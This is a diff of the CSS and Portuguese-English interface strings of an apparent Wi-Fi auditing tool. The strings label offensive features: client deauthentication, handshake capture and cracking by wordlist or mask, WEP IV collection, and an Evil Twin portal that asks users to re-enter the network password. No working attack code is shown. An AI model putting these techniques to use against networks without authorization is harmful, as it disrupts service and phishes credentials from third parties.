.tabs { display: flex; gap: 2px; padding: 0 20px; border-bottom: 1px solid var(--line); }
|
||||
.tabs button { border: 0; background: transparent; color: var(--text-2); padding: 9px 12px 11px; font-size: 13px; font-weight: 600; cursor: pointer; border-bottom: 2px solid transparent; margin-bottom: -1px; }
|
||||
.tabs button:hover { color: var(--text); }
|
||||
.tabs button[aria-selected="true"] { color: var(--text); border-bottom-color: var(--accent); }
|
||||
.tab-count { display: inline-block; min-width: 18px; padding: 0 5px; margin-left: 3px; border-radius: 999px; background: color-mix(in srgb, var(--text) 9%, transparent); color: var(--text-2); font-size: 10.5px; line-height: 17px; text-align: center; }
|
||||
.tab-panel { padding: 18px 24px 26px; overflow-y: auto; min-height: 0; }
|
||||
.detail-grid { display: grid; grid-template-columns: repeat(2, minmax(0, 1fr)); gap: 12px; }
|
||||
.detail-card { background: var(--surface-2); border: 1px solid var(--line); border-radius: 14px; padding: 14px 16px; }
|
||||
.detail-card h3 { font-size: 12px; text-transform: uppercase; letter-spacing: .06em; color: var(--text-3); margin-bottom: 10px; }
|
||||
.detail-wide { margin-top: 12px; }
|
||||
.kv { display: grid; grid-template-columns: minmax(96px, auto) minmax(0, 1fr); gap: 6px 12px; margin: 0; font-size: 12.5px; }
|
||||
.kv dt { color: var(--text-3); }
|
||||
.kv dd { margin: 0; min-width: 0; overflow-wrap: anywhere; }
|
||||
.detail-actions { display: flex; flex-wrap: wrap; gap: 8px; margin-top: 12px; }
|
||||
.btn.small { padding: 6px 12px; font-size: 12px; }
|
||||
.risk { border-radius: 12px; padding: 10px 13px; font-size: 12.5px; margin-bottom: 12px; border: 1px solid transparent; }
|
||||
.risk-bad { background: var(--bad-soft); color: var(--bad); }
|
||||
.risk-warn { background: var(--warn-soft); color: var(--warn); }
|
||||
.risk-info { background: var(--signal-soft); color: var(--signal); }
|
||||
.risk strong { font-weight: 700; }
|
||||
.flag-ok { background: var(--ok-soft); color: var(--ok); }
|
||||
.flag-bad { background: var(--bad-soft); color: var(--bad); }
|
||||
.clients-card { margin-top: 2px; overflow-x: auto; }
|
||||
.mini-table { width: 100%; border-collapse: collapse; }
|
||||
.mini-table .row-actions { text-align: right; white-space: nowrap; }
|
||||
.mini-table th { padding: 9px 12px; font-size: 10.5px; text-transform: uppercase; letter-spacing: .05em; color: var(--text-3); text-align: left; border-bottom: 1px solid var(--line); }
|
||||
.mini-table td { padding: 9px 12px; font-size: 12.5px; border-bottom: 1px solid var(--line); vertical-align: middle; }
|
||||
.mini-table tr:last-child td { border-bottom: 0; }
|
||||
.mini-table .nowrap { white-space: nowrap; font-variant-numeric: tabular-nums; }
|
||||
.mini-table .probes { max-width: 220px; overflow: hidden; text-overflow: ellipsis; white-space: nowrap; color: var(--text-2); }
|
||||
.mini-table .device-cell { overflow: hidden; text-overflow: ellipsis; white-space: nowrap; color: var(--text-2); }
|
||||
.clients-card .mini-table { table-layout: fixed; }
|
||||
.clients-card .mini-table th:nth-child(1) { width: 20%; }
|
||||
.clients-card .mini-table th:nth-child(2) { width: 18%; }
|
||||
.clients-card .mini-table th:nth-child(3) { width: 12%; }
|
||||
.clients-card .mini-table th:nth-child(4) { width: 7%; }
|
||||
.clients-card .mini-table th:nth-child(5) { width: 10%; }
|
||||
.clients-card .mini-table th:nth-child(6) { width: 12%; }
|
||||
.clients-card .mini-table th:nth-child(7) { width: 21%; }
|
||||
.clients-card .row-actions .btn { padding: 6px 10px; }
|
||||
.clients-card .client-name, .clients-card .client-sub { max-width: 100%; }
|
||||
.client-name { font-weight: 600; color: var(--text); max-width: 210px; overflow: hidden; text-overflow: ellipsis; white-space: nowrap; }
|
||||
.client-sub { color: var(--text-3); font-size: 10.5px; max-width: 210px; overflow: hidden; text-overflow: ellipsis; white-space: nowrap; }
|
||||
.empty-inline { text-align: center; padding: 46px 20px; color: var(--text-2); background: var(--surface-2); border-radius: 14px; }
|
||||
.empty-inline strong { color: var(--text); display: block; margin-bottom: 4px; }
|
||||
.empty-inline p { margin: 0; font-size: 13px; }
|
||||
.auth-check { display: flex; align-items: center; gap: 8px; font-size: 12.5px; font-weight: 600; margin: 4px 0 14px; }
|
||||
.auth-check input { width: 16px; height: 16px; accent-color: var(--accent); }
|
||||
/* Colunas CSS em vez de grid: os cards de ataque têm alturas muito
|
||||
diferentes entre si (Deauth/Handshake são enormes, PMF/WPS são curtos).
|
||||
Num grid de 2 colunas comum, o par mais curto de uma linha deixava um
|
||||
vão vazio enorme embaixo (a altura da linha é a do item mais alto, e
|
||||
align-items:start não estica o curto pra preencher). Colunas fazem os
|
||||
cards fluírem como alvenaria: cada um só ocupa a altura que precisa, o
|
||||
próximo entra logo abaixo, sem buracos. */
|
||||
.attack-grid { column-count: 2; column-gap: 12px; }
|
||||
.attack-card { background: var(--surface-2); border: 1px solid var(--line); border-radius: 14px; padding: 14px 16px; min-width: 0; break-inside: avoid; margin: 0 0 12px; display: inline-block; width: 100%; }
|
||||
.attack-deauth, .attack-wide { column-span: all; }
|
||||
.attack-deauth .field-row { grid-template-columns: repeat(2, minmax(0, 1fr)); }
|
||||
.attack-deauth .detail-actions { align-items: center; }
|
||||
.attack-card h3 { font-size: 14px; margin-bottom: 5px; }
|
||||
.attack-card .hint { margin: 6px 0 10px; }
|
||||
.attack-card .btn { margin-top: 2px; }
|
||||
.field-row { display: grid; grid-template-columns: 1fr 1.4fr; gap: 10px; }
|
||||
.field { display: grid; gap: 5px; margin: 9px 0; }
|
||||
.field-label { font-size: 11.5px; color: var(--text-2); font-weight: 600; }
|
||||
.input { width: 100%; border: 1px solid transparent; border-radius: 10px; padding: 8px 11px; background: color-mix(in srgb, var(--text) 7%, transparent); color: var(--text); font: inherit; font-size: 12.5px; }
|
||||
.input:focus { outline: 2px solid var(--signal); outline-offset: 1px; }
|
||||
.hint { color: var(--text-3); font-size: 12px; margin: 0; line-height: 1.4; }
|
||||
.hint.bad { color: var(--bad); }
|
||||
.hint code { background: color-mix(in srgb, var(--text) 7%, transparent); padding: 1px 5px; border-radius: 5px; font-size: 11.5px; }
|
||||
.hs-list { display: grid; gap: 6px; margin-bottom: 8px; }
|
||||
.hs-item { display: flex; align-items: flex-start; justify-content: space-between; gap: 8px; background: var(--surface); border: 1px solid var(--line); border-radius: 10px; padding: 8px 10px; font-size: 12px; }
|
||||
.hs-main { min-width: 0; display: grid; gap: 2px; }
|
||||
.hs-meta { color: var(--text-3); font-size: 11px; }
|
||||
.hs-flags { display: flex; flex-wrap: wrap; gap: 4px; justify-content: flex-end; }
|
||||
.crack-box { margin-top: 10px; padding: 9px 11px; border-radius: 10px; background: var(--surface); border: 1px solid var(--line); font-size: 12px; display: flex; flex-wrap: wrap; align-items: center; gap: 7px; }
|
||||
.crack-ok { border-color: color-mix(in srgb, var(--ok) 40%, transparent); }
|
||||
.crack-box .mono { margin-right: 4px; }
|
||||
.crack-head { display: flex; align-items: center; gap: 8px; width: 100%; color: var(--text-2); }
|
||||
.crack-bar { width: 100%; height: 4px; border-radius: 999px; background: var(--line); overflow: hidden; }
|
||||
.crack-bar i { display: block; width: 35%; height: 100%; border-radius: 999px; background: var(--accent); animation: crack-slide 1.1s ease-in-out infinite; }
|
||||
@keyframes crack-slide { 0% { margin-left: -35%; } 100% { margin-left: 100%; } }
|
||||
|
||||
/* ------------------------------------------------------------ responsivo */
|
||||
@media (max-width: 760px) {
|
||||
.app { grid-template-columns: 1fr; grid-template-rows: auto 1fr; }
|
||||
@@ -186,4 +343,119 @@ td.ssid em { color: var(--text-3); font-weight: 400; font-style: normal; }
|
||||
.brand { padding: 4px 10px; }
|
||||
.side-title, .side-foot { display: none; }
|
||||
.list { display: flex; }
|
||||
.result-tools { width: 100%; }
|
||||
.result-tools .filter { flex: 1; width: auto; }
|
||||
.net-table { min-width: 560px; }
|
||||
.bssid-item { grid-template-columns: 1fr auto; }
|
||||
.bssid-meta, .bssid-sig, .bssid-flags { grid-column: 1 / -1; }
|
||||
.bssid-flags { justify-content: flex-start; }
|
||||
.target-dlg { width: calc(100vw - 16px); max-height: 94vh; }
|
||||
.target-head { padding: 16px 16px 10px; }
|
||||
.tabs { padding: 0 10px; overflow-x: auto; }
|
||||
.tab-panel { padding: 14px 14px 20px; }
|
||||
.detail-grid { grid-template-columns: 1fr; }
|
||||
.attack-grid { column-count: 1; }
|
||||
.field-row { grid-template-columns: 1fr; }
|
||||
.detail-card, .attack-card { padding: 12px; }
|
||||
}
|
||||
|
||||
/* --------------------------------------------------- análise de canais */
|
||||
.top-actions { display: flex; align-items: center; gap: 10px; }
|
||||
.view-switch { display: inline-flex; padding: 2px; border-radius: 999px; background: color-mix(in srgb, var(--text) 7%, transparent); }
|
||||
.view-switch button { border: 0; border-radius: 999px; padding: 5px 12px; font-size: 12px; font-weight: 600; color: var(--text-2); background: transparent; cursor: pointer; }
|
||||
.view-switch button[aria-pressed="true"] { background: var(--surface); color: var(--text); box-shadow: 0 1px 3px rgba(0, 0, 0, .12); }
|
||||
.alert-strip { display: flex; align-items: center; flex-wrap: wrap; gap: 6px; margin: 0 2px 10px; }
|
||||
.alert-item { display: inline-flex; align-items: center; gap: 6px; border: 1px solid var(--line); background: var(--surface); border-radius: 999px; padding: 5px 11px; font-size: 12px; cursor: pointer; }
|
||||
.alert-dot { width: 7px; height: 7px; border-radius: 50%; background: var(--warn); }
|
||||
.alert-high .alert-dot { background: var(--bad); }
|
||||
.alert-low .alert-dot { background: var(--text-3); }
|
||||
.alert-title { max-width: 340px; overflow: hidden; text-overflow: ellipsis; white-space: nowrap; }
|
||||
.alert-more { color: var(--text-3); font-size: 11.5px; padding: 0 4px; }
|
||||
.channel-card { padding: 16px; }
|
||||
.channel-head { display: flex; align-items: center; justify-content: space-between; gap: 12px; flex-wrap: wrap; margin-bottom: 8px; }
|
||||
.band-switch { display: inline-flex; gap: 4px; }
|
||||
.band-switch button { border: 1px solid transparent; background: color-mix(in srgb, var(--text) 6%, transparent); color: var(--text-2); border-radius: 999px; padding: 5px 12px; font-size: 12px; font-weight: 600; cursor: pointer; }
|
||||
.band-switch button[aria-pressed="true"] { background: var(--signal-soft); color: var(--signal); border-color: color-mix(in srgb, var(--signal) 35%, transparent); }
|
||||
.sp-legend { display: flex; flex-wrap: wrap; gap: 10px; color: var(--text-3); font-size: 11px; }
|
||||
.sp-legend span { display: inline-flex; align-items: center; gap: 5px; }
|
||||
.sp-legend i { width: 9px; height: 9px; border-radius: 2px; display: inline-block; }
|
||||
.spectrum { width: 100%; height: auto; display: block; background: color-mix(in srgb, var(--text) 3%, transparent); border-radius: 12px; }
|
||||
.sp-grid { stroke: var(--line); stroke-width: 1; }
|
||||
.sp-axis { stroke: color-mix(in srgb, var(--text) 22%, transparent); stroke-width: 1; }
|
||||
.sp-db, .sp-chan { fill: var(--text-3); font-size: 9px; font-family: var(--mono); }
|
||||
.sp-name { fill: var(--text-2); font-size: 9px; font-weight: 600; }
|
||||
.sp-lobe path { transition: fill-opacity .15s; }
|
||||
.sp-lobe:hover path { fill-opacity: .38; }
|
||||
.channel-grid { display: grid; grid-template-columns: 190px 1fr; gap: 18px; margin-top: 14px; }
|
||||
.channel-grid h3 { font-size: 12px; color: var(--text-2); margin-bottom: 8px; }
|
||||
.chan-best-num { font-size: 44px; font-weight: 700; line-height: 1; color: var(--signal); margin: 0 0 6px; }
|
||||
.chan-list { display: grid; gap: 6px; }
|
||||
.chan-list h3 { margin: 0 0 2px; }
|
||||
.chan-row { display: grid; grid-template-columns: 46px 1fr 48px 128px; align-items: center; gap: 8px; font-size: 12px; }
|
||||
.chan-row .chan-n { font-weight: 600; display: inline-flex; align-items: center; gap: 4px; }
|
||||
.chan-bar { height: 7px; border-radius: 999px; background: var(--line); overflow: hidden; }
|
||||
.chan-bar i { display: block; height: 100%; border-radius: 999px; background: var(--ok); }
|
||||
.chan-bar i.diff-mid { background: var(--warn); }
|
||||
.chan-bar i.diff-high { background: var(--bad); }
|
||||
.chan-score { font-family: var(--mono); font-size: 11px; color: var(--text-2); text-align: right; }
|
||||
.chan-aps { color: var(--text-3); font-size: 11px; white-space: nowrap; }
|
||||
.chan-best .chan-n, .chan-best .chan-aps { color: var(--signal); }
|
||||
|
||||
/* ------------------------------------------------- saúde do espectro (SMART) */
|
||||
.chan-tiles { display: grid; grid-template-columns: repeat(auto-fill, minmax(132px, 1fr)); gap: 10px; margin: 2px 0 16px; }
|
||||
.chan-tile { background: var(--surface-2); border-radius: 14px; padding: 12px 14px; display: flex; flex-direction: column; gap: 2px; box-shadow: 0 0 0 1px var(--line); }
|
||||
.chan-tile small { color: var(--text-3); font-size: 12px; }
|
||||
.chan-tile b { font-size: 18px; font-variant-numeric: tabular-nums; }
|
||||
.chan-tile.status.ok { background: var(--ok-soft); } .chan-tile.status.ok b { color: var(--ok); }
|
||||
.chan-tile.status.warn { background: var(--warn-soft); } .chan-tile.status.warn b { color: var(--warn); }
|
||||
.chan-tile.status.bad { background: var(--bad-soft); } .chan-tile.status.bad b { color: var(--bad); }
|
||||
.chan-tile b span { font-weight: 500; opacity: .8; font-size: 13px; margin-left: 4px; }
|
||||
|
||||
.chan-dot { display: inline-block; width: 9px; height: 9px; border-radius: 50%; background: var(--ok); margin-right: 5px; flex: none; }
|
||||
.chan-dot.warn { background: var(--warn); }
|
||||
.chan-dot.bad { background: var(--bad); }
|
||||
|
||||
.chan-attrs { margin-top: 4px; }
|
||||
.chan-attrs summary { cursor: pointer; font-size: 12.5px; font-weight: 600; color: var(--text-2); padding: 6px 0; list-style: none; }
|
||||
.chan-attrs summary::-webkit-details-marker { display: none; }
|
||||
.chan-attrs summary::before { content: '▸ '; display: inline-block; width: 12px; }
|
||||
.chan-attrs[open] summary::before { content: '▾ '; }
|
||||
.chan-table .dim { color: var(--text-3); font-size: 11.5px; }
|
||||
.chan-table tr.chan-best-row td { color: var(--signal); font-weight: 600; }
|
||||
.mini-tag { font-size: 8.5px; padding: 1px 4px; border-radius: 4px; background: var(--warn-soft); color: var(--warn); }
|
||||
|
||||
/* ------------------------------------------------ clientes e linha do tempo */
|
||||
.spark { display: inline-block; width: 62px; height: 16px; vertical-align: middle; margin-left: 6px; }
|
||||
.spark path { fill: none; stroke: var(--signal); stroke-width: 1.4; }
|
||||
.spark-big { display: block; width: 100%; height: 70px; margin: 10px 0 0; }
|
||||
.timeline-card { margin-top: 12px; }
|
||||
.timeline-head { display: flex; align-items: center; justify-content: space-between; gap: 10px; margin-bottom: 6px; }
|
||||
.timeline { list-style: none; padding: 0; margin: 8px 0; display: grid; gap: 5px; max-height: 260px; overflow: auto; }
|
||||
.timeline li { display: grid; grid-template-columns: 84px 112px 1fr; align-items: baseline; gap: 8px; font-size: 12px; border-bottom: 1px solid var(--line); padding: 5px 2px; }
|
||||
.timeline li > .mono:first-child { white-space: nowrap; }
|
||||
.tl-kind { font-size: 10.5px; font-weight: 700; text-transform: uppercase; letter-spacing: .03em; color: var(--text-3); }
|
||||
.tl-deauth { color: var(--bad); }
|
||||
.tl-associate { color: var(--ok); }
|
||||
.tl-probe { color: var(--signal); }
|
||||
.tl-detail { color: var(--text-3); overflow: hidden; text-overflow: ellipsis; white-space: nowrap; }
|
||||
|
||||
/* ------------------------------------------------------------- WPS e relatório */
|
||||
.term { margin: 10px 0 0; padding: 10px 12px; border-radius: 10px; background: color-mix(in srgb, var(--text) 6%, transparent); color: var(--text-2); font: 11.5px/1.5 var(--mono); white-space: pre-wrap; max-height: 180px; overflow: auto; }
|
||||
.report-dlg { width: min(1060px, 96vw); height: 92vh; max-height: 92vh; padding: 0; display: flex; flex-direction: column; overflow: hidden; }
|
||||
.report-dlg:not([open]) { display: none; }
|
||||
.report-head { display: flex; align-items: flex-start; justify-content: space-between; gap: 14px; padding: 16px 18px 12px; border-bottom: 1px solid var(--line); flex-wrap: wrap; }
|
||||
.report-head h2 { font-size: 17px; margin: 0 0 2px; }
|
||||
.report-tools { display: flex; align-items: center; gap: 6px; flex-wrap: wrap; }
|
||||
.report-tools .mono { font-size: 11.5px; color: var(--text-2); min-width: 38px; text-align: center; }
|
||||
.report-view { flex: 1; overflow: auto; background: color-mix(in srgb, var(--text) 8%, var(--bg)); padding: 16px; }
|
||||
.report-canvas { margin: 0 auto; transform-origin: top center; background: #fff; box-shadow: 0 6px 30px rgba(0, 0, 0, .18); }
|
||||
.report-canvas iframe { border: 0; display: block; background: #fff; }
|
||||
|
||||
@media (max-width: 760px) {
|
||||
.top-actions { gap: 6px; }
|
||||
.channel-grid { grid-template-columns: 1fr; }
|
||||
.chan-row { grid-template-columns: 42px 1fr 44px; }
|
||||
.chan-aps { grid-column: 2 / -1; }
|
||||
.report-dlg { width: 100vw; height: 100vh; max-height: 100vh; border-radius: 0; }
|
||||
.report-view { padding: 8px; }
|
||||
}
|
||||
+2217
-48
File diff suppressed because it is too large.
Load diff
+468
-1
@@ -2,8 +2,12 @@
|
||||
export const EN = {
|
||||
// index.html / sidebar
|
||||
'auditoria de Wi-Fi': 'Wi-Fi auditing',
|
||||
'Interface': 'Interface',
|
||||
'Interface Wi-Fi': 'Wi-Fi interface',
|
||||
'Interfaces': 'Interfaces',
|
||||
'nenhuma interface Wi-Fi encontrada': 'no Wi-Fi interface found',
|
||||
'APs, clientes e ataques': 'APs, clients and attacks',
|
||||
'espectro e saúde': 'spectrum and health',
|
||||
'checar atualização': 'check for update',
|
||||
'checando…': 'checking…',
|
||||
'atualizar para {n}': 'update to {n}',
|
||||
@@ -30,7 +34,12 @@ export const EN = {
|
||||
'parar captura': 'stop capture',
|
||||
|
||||
// resultados
|
||||
'Redes': 'Networks',
|
||||
'Redes vistas': 'Networks seen',
|
||||
'Linha do tempo': 'Timeline',
|
||||
'Linha do tempo ·': 'Timeline ·',
|
||||
'fechar': 'close',
|
||||
'motivo {n}': 'reason {n}',
|
||||
'Pronto pra capturar': 'Ready to capture',
|
||||
'Ative o modo monitor e inicie a captura pra ver as redes no ar.': 'Enable monitor mode and start capturing to see the networks on the air.',
|
||||
'Nenhuma interface Wi-Fi': 'No Wi-Fi interface',
|
||||
@@ -41,16 +50,44 @@ export const EN = {
|
||||
'oculta': 'hidden',
|
||||
'Rede': 'Network',
|
||||
'Canal': 'Channel',
|
||||
'Canais': 'Channels',
|
||||
'Banda': 'Band',
|
||||
'Bandas': 'Bands',
|
||||
'Nome': 'Name',
|
||||
'Sinal': 'Signal',
|
||||
'Segurança': 'Security',
|
||||
'Clientes': 'Clients',
|
||||
'filtrar por SSID ou BSSID': 'filter by SSID or BSSID',
|
||||
'Filtrar redes': 'Filter networks',
|
||||
'Ordenar por': 'Sort by',
|
||||
'expandir': 'expand',
|
||||
'recolher': 'collapse',
|
||||
'PMF parcial': 'partial PMF',
|
||||
'canal {n}': 'channel {n}',
|
||||
'canal {n} · {n}': 'channel {n} · {n}',
|
||||
'1 cliente': '1 client',
|
||||
'{n} clientes': '{n} clients',
|
||||
'{n} de {n} redes': '{n} of {n} networks',
|
||||
'{n} redes · {n} BSSIDs · {n} clientes': '{n} networks · {n} BSSIDs · {n} clients',
|
||||
'Nenhuma rede corresponde ao filtro': 'No network matches the filter',
|
||||
'Ajuste a busca ou limpe o campo de filtro.': 'Adjust the search or clear the filter.',
|
||||
|
||||
// erros de UI
|
||||
'Não foi possível trocar o modo:': 'Could not change the mode:',
|
||||
'Não foi possível iniciar a captura:': 'Could not start the capture:',
|
||||
'Não foi possível retomar a captura: {n}': 'Could not resume the capture: {n}',
|
||||
'Retomando a captura e localizando a rede…': 'Resuming the capture and locating the network…',
|
||||
'A rede não reapareceu na varredura a tempo. Tente de novo.': 'The network did not reappear in the scan in time. Try again.',
|
||||
'A captura parou:': 'The capture stopped:',
|
||||
'erro desconhecido': 'unknown error',
|
||||
'rota desconhecida': 'unknown route',
|
||||
|
||||
// seletor de idioma
|
||||
// seletor de idioma / configurações
|
||||
'Configurações': 'Settings',
|
||||
'Tema': 'Theme',
|
||||
'Claro': 'Light',
|
||||
'Escuro': 'Dark',
|
||||
'Fechar': 'Close',
|
||||
'Idioma': 'Language',
|
||||
'Auto': 'Auto',
|
||||
'Português': 'Portuguese',
|
||||
@@ -95,4 +132,434 @@ export const EN = {
|
||||
'nenhum handshake quebrável para os filtros informados': 'no crackable handshake for the given filters',
|
||||
'quantidade de quadros deve ficar entre 1 e 256': 'frame count must be between 1 and 256',
|
||||
'MAC inválido: {n}': 'invalid MAC: {n}',
|
||||
|
||||
// detalhes do alvo e ataques
|
||||
'não': 'no',
|
||||
'não anunciado': 'not advertised',
|
||||
'quebrável': 'crackable',
|
||||
'Nenhum handshake capturado para este BSSID.': 'No handshake captured for this BSSID.',
|
||||
'Rede aberta.': 'Open network.',
|
||||
'O tráfego não é cifrado pelo Wi-Fi; qualquer cliente pode se associar.': 'Traffic is not encrypted over Wi-Fi; any client can associate.',
|
||||
'A cifra é quebrável; capture IVs na aba Ataques.': 'The cipher is breakable; capture IVs in the Attacks tab.',
|
||||
'O AP anuncia configuração travada.': 'The AP advertises configuration locked.',
|
||||
'PIN pode estar acessível; verifique o lock.': 'The PIN may be accessible; check the lock.',
|
||||
'Desautenticação e captura de handshake podem ser ignoradas pelos clientes.': 'Deauthentication and handshake capture may be ignored by clients.',
|
||||
'Sem PMF obrigatório.': 'No mandatory PMF.',
|
||||
'Desautenticação tende a funcionar e facilita a captura do handshake.': 'Deauthentication tends to work and makes handshake capture easier.',
|
||||
'País': 'Country',
|
||||
'Último visto': 'Last seen',
|
||||
'Primeiro visto': 'First seen',
|
||||
'Frequência': 'Frequency',
|
||||
'Largura': 'Width',
|
||||
'Padrão': 'Standard',
|
||||
'Sinal máximo': 'Max signal',
|
||||
'Intervalo de beacon': 'Beacon interval',
|
||||
'Quadros de dados': 'Data frames',
|
||||
'Versão WPS': 'WPS version',
|
||||
'Vistos na rede': 'Seen on network',
|
||||
'Quebráveis': 'Crackable',
|
||||
'Número do modelo': 'Model number',
|
||||
'Nome do dispositivo': 'Device name',
|
||||
'Serial': 'Serial',
|
||||
'Identificação': 'Identity',
|
||||
'Rádio': 'Radio',
|
||||
'sim': 'yes',
|
||||
'Nome exibido': 'Display name',
|
||||
'Hostname': 'Hostname',
|
||||
'Sistema': 'OS',
|
||||
'IP': 'IP',
|
||||
'Associado a': 'Associated to',
|
||||
'Atual': 'Current',
|
||||
'Máximo': 'Maximum',
|
||||
'Sem amostras de sinal suficientes ainda.': 'Not enough signal samples yet.',
|
||||
'Linha do tempo · eventos mais recentes primeiro.': 'Timeline · most recent events first.',
|
||||
'Cliente · {n}': 'Client · {n}',
|
||||
'A captura parou sozinha:': 'The capture stopped on its own:',
|
||||
'A placa não está capturando nada': 'The adapter is not capturing anything',
|
||||
'Nenhum quadro recebido depois de alguns segundos saltando canais — esta placa pode aceitar ativar o modo monitor sem conseguir capturar de verdade (comum em Wi-Fi interna de notebook). Tente um adaptador USB dedicado a modo monitor/injeção.':
|
||||
'No frame received after several seconds of channel hopping — this adapter may accept turning monitor mode on without actually being able to capture (common with a laptop\'s built-in Wi-Fi). Try a USB adapter dedicated to monitor mode/injection.',
|
||||
'motivo desconhecido — confira se o adaptador ainda está conectado.':
|
||||
'unknown reason — check whether the adapter is still connected.',
|
||||
'Clientes e handshake': 'Clients and handshake',
|
||||
'Nenhum cliente visto.': 'No client seen.',
|
||||
'Associe ou gere tráfego na rede para que o Sabiá identifique estações.': 'Associate or generate traffic on the network so Sabiá can identify stations.',
|
||||
'senha encontrada': 'password found',
|
||||
'concluído': 'done',
|
||||
'quebrando': 'cracking',
|
||||
'senhas testadas': 'passwords tried',
|
||||
'{n} senhas testadas': '{n} passwords tried',
|
||||
'{n} tentativas · {n} ms': '{n} attempts · {n} ms',
|
||||
'Senha não encontrada no dicionário ({n} tentativas).': 'Password not found in the wordlist ({n} attempts).',
|
||||
'· quebrável': '· crackable',
|
||||
'não especificado': 'unspecified',
|
||||
'autenticação expirada': 'authentication expired',
|
||||
'saindo': 'leaving',
|
||||
'inativo': 'inactive',
|
||||
'AP sem recursos': 'AP out of resources',
|
||||
'classe 2': 'class 2',
|
||||
'classe 3': 'class 3',
|
||||
'{n} handshake(s) visto(s); {n} quebrável(is).': '{n} handshake(s) seen; {n} crackable.',
|
||||
'Nenhum handshake capturado ainda. Desautentique um cliente para estimular a reassociação.': 'No handshake captured yet. Deauthenticate a client to trigger reassociation.',
|
||||
'Captura WEP': 'WEP capture',
|
||||
'WEP não tem handshake: o ataque coleta IVs em um .pcap. Reinicie a captura gravando o arquivo e gere tráfego com desautenticação. A captura atual é reiniciada e a tabela começa vazia.': 'WEP has no handshake: the attack collects IVs into a .pcap. Restart the capture writing the file and generate traffic with deauthentication. The current capture is restarted and the table starts empty.',
|
||||
'Arquivo pcap': 'pcap file',
|
||||
'Reiniciar captura com pcap': 'Restart capture to pcap',
|
||||
'Gerar tráfego': 'Generate traffic',
|
||||
'Copiar comando': 'Copy command',
|
||||
'Esta rede não usa WEP.': 'This network does not use WEP.',
|
||||
'Somente em redes próprias ou com autorização escrita.': 'Only on your own networks or with written authorization.',
|
||||
'Cada ação fica registrada na trilha de auditoria local, com interface, BSSID e estação.': 'Every action is logged in the local audit trail with interface, BSSID and station.',
|
||||
'Tenho autorização para testar esta rede': 'I have authorization to test this network',
|
||||
'Desautenticação': 'Deauthentication',
|
||||
'Expulsa uma estação (ou todas) para forçar reassociação e captura de handshake.': 'Kicks a station (or all) to force reassociation and handshake capture.',
|
||||
'Enviar desautenticação': 'Send deauthentication',
|
||||
'Forçar handshake': 'Force handshake',
|
||||
'Dicionário': 'Wordlist',
|
||||
'Rede oculta': 'Hidden network',
|
||||
'job não encontrado': 'job not found',
|
||||
'{n} quadro(s) enviados para {n} (motivo {n}).': '{n} frame(s) sent to {n} (reason {n}).',
|
||||
'Selecione um handshake.': 'Select a handshake.',
|
||||
'Informe o dicionário.': 'Enter the wordlist.',
|
||||
'Informe o caminho do .pcap.': 'Enter the .pcap path.',
|
||||
'Força bruta por máscara — sem dicionário, testa toda combinação do padrão.':
|
||||
'Mask brute force — no wordlist, tests every combination of the pattern.',
|
||||
'dígito,': 'digit,',
|
||||
'minúscula,': 'lowercase,',
|
||||
'maiúscula,': 'uppercase,',
|
||||
'símbolo,': 'symbol,',
|
||||
'qualquer um; o resto é literal.': 'any of those; the rest is literal.',
|
||||
'Máscara': 'Mask',
|
||||
'Força bruta por máscara': 'Mask brute force',
|
||||
'Informe uma máscara (ex.: ?d?d?d?d?d?d?d?d).': 'Enter a mask (e.g. ?d?d?d?d?d?d?d?d).',
|
||||
'job não iniciado': 'job not started',
|
||||
'Captura gravando em {n}. Gere tráfego e aguarde IVs suficientes.': 'Capture writing to {n}. Generate traffic and wait for enough IVs.',
|
||||
'Visão geral': 'Overview',
|
||||
'Ver detalhes': 'View details',
|
||||
'Ver clientes': 'View clients',
|
||||
'Abrir ataques': 'Open attacks',
|
||||
'Todos (broadcast)': 'All (broadcast)',
|
||||
'associado': 'associated',
|
||||
'sondando': 'probing',
|
||||
'visto': 'seen',
|
||||
'Alvo': 'Target',
|
||||
'Handshake': 'Handshake',
|
||||
'Salvar pcap em': 'Save pcap to',
|
||||
'Exportar selecionado': 'Export selected',
|
||||
'Exportar todos': 'Export all',
|
||||
'Quebrar senha': 'Crack password',
|
||||
'completo': 'complete',
|
||||
'Ataques': 'Attacks',
|
||||
'Cliente alvo': 'Target client',
|
||||
'Ações': 'Actions',
|
||||
'Atacar': 'Attack',
|
||||
'Cliente não associado a este AP.': 'Client not associated with this AP.',
|
||||
'Somente o cliente selecionado será desautenticado.': 'Only the selected client will be deauthenticated.',
|
||||
'Todos os clientes associados (broadcast).': 'All associated clients (broadcast).',
|
||||
'Fabricante': 'Manufacturer',
|
||||
'Modelo': 'Model',
|
||||
'Oculta': 'Hidden',
|
||||
'Modo': 'Mode',
|
||||
'Cifra': 'Cipher',
|
||||
'Privacidade': 'Privacy',
|
||||
'WPS travado': 'WPS locked',
|
||||
'Associados': 'Associated',
|
||||
'Senha': 'Password',
|
||||
'Quadro': 'Frame',
|
||||
'Quadros': 'Frames',
|
||||
'ambas': 'both',
|
||||
'Tentativas': 'Attempts',
|
||||
'Testar PMF': 'Test PMF',
|
||||
'em execução': 'running',
|
||||
'iniciando': 'starting',
|
||||
'erro': 'error',
|
||||
'parado': 'stopped',
|
||||
'Status: {n}': 'Status: {n}',
|
||||
'tamanho inválido': 'invalid length',
|
||||
'· última: {n}': '· last: {n}',
|
||||
'Clona o AP (aberto) numa segunda interface e sobe um portal pedindo a senha de novo. A senha só é aceita se bater de verdade com o handshake já capturado — não é um "aceita qualquer coisa".':
|
||||
'Clones the AP (open) on a second interface and shows a portal asking for the password again. The password is only accepted if it truly matches the already-captured handshake — it is not an "accept anything" page.',
|
||||
'Exige um handshake quebrável já capturado deste AP (aba Handshake). Precisa de':
|
||||
'Requires a crackable handshake already captured for this AP (Handshake tab). Needs',
|
||||
'instalado e de uma': 'installed and a',
|
||||
'interface Wi-Fi em modo AP, diferente da que está capturando.':
|
||||
'Wi-Fi interface in AP mode, different from the one capturing.',
|
||||
'Iniciar Evil Twin': 'Start Evil Twin',
|
||||
'Informe a interface do clone (uma segunda placa).':
|
||||
'Enter the clone interface (a second adapter).',
|
||||
'a interface do clone precisa ser diferente da que está capturando':
|
||||
'the clone interface must be different from the one capturing',
|
||||
'esse BSSID ainda não apareceu nesta sessão de captura':
|
||||
'that BSSID has not appeared in this capture session yet',
|
||||
'rede oculta: sem SSID não dá pra clonar': 'hidden network: no SSID, cannot clone',
|
||||
'handshake sem dados suficientes pra conferir senha':
|
||||
'handshake does not have enough data to verify a password',
|
||||
'hostapd não está instalado (sudo apt install hostapd) — necessário pro Evil Twin':
|
||||
'hostapd is not installed (sudo apt install hostapd) — needed for Evil Twin',
